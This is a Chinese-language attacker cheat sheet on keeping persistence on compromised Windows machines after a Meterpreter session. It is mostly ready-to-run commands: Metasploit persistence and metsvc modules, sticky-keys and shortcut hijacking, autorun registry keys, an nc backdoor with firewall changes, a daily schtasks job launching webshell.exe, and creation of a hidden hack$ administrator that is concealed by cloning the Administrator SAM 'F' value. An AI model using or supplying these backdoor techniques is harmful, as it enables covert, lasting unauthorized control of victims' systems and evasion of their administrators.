Meterpreter权限维持
meterpreter中的权限维持技术有两种:
- persistence(注册表后门)
- metsvc的后门(服务后门)
1、注册表后门
windows/local/persistence
这个方法是执行vbs脚本,这里很容易被杀软拦截,在实验操作的时候需要将杀毒软件关掉
2、服务后门
进入meterpreter后
run metsvc -A
系统工具替换后门
这里主要是利用修改注册表,点击从而达到shell上线的作用
有以下几种类型:
- 劫持Narrator讲述人
- 辅助工具劫持
- shift后门(sethc)
- 劫持notepad
使用msf的话可以使用以下模块
post/windows/manage/sticky_keys
开机自启动/注册表项
每次登录都会按顺序自动执行
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_ CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServiceOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServiceOnce
拓展:
HKEY_LOCAL_MACHINE所有用户有效,HKEY_CURRENT_USER仅在当前用户有效
使用nc后门
上传nc,写入注册表开机自启,将cmd给出去留个后门,更改防火墙规则,允许后门端口开放。
Others
schtasks计划任务
创建一个计划任务,每天早上九点开始执行 shell,这里的SC参数是频率的的意思
SCHTASKS /Create /TN calc /TR C:\windows\system32\webshell.exe /SC DAILY /ST 09:00
快捷方式劫持
这里可以将计算器路径换为自己的shell后门,这里还需要更换图标,这里稍微有一点缺陷就是会弹出一个黑框框
C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -c "invoke-item 'C:\Program Files (x86)\Mozilla Firefox\firefox.exe'; invoke-item C:\Windows\system32\calc.exe"
账户隐藏
隐藏用户:
net user hack$ hjw123 /add && net localgroup administrators administrator /add
这个方法可以在管理用户中看见
激活Guest用户:
net user guest hjw123 && net localgroup administrators guest /add
net user guest /active:yes
后门账户
创建用户
net user hack$ hjw123 /add /y //这里y参数是默认指令进行
添加管理员组
net localgroup administrators hack$ /add
添加远程连接组
net localgroup "remote desktop users" hack$ /add
我们进入注册表
计算机\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
我们导出name中的hack$的注册表,然后导出上面对应的文件夹的注册表
另外我们还要导出Administrator的注册表
将administrator的"F"值复制给hack的"F",下面是我已经替换好的
删除hack$账户
net user hack$ /del
然后导入刚才的注册表,先导入名字,后导入值
regedit /s hackname.reg
regedit /s hack.reg
这时候就可以发现管理账户中已经没有hack$用户了
远程连接用户的使用使用hack$来连接
文件夹启动
在每次开机或重启的时候都会运行启动文件夹下的程序
C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
服务后门
重启容易被杀毒软件拦截
sc create [ServerName] binPath="绝对路径"
Taks-Powershell
powershell定时任务脚本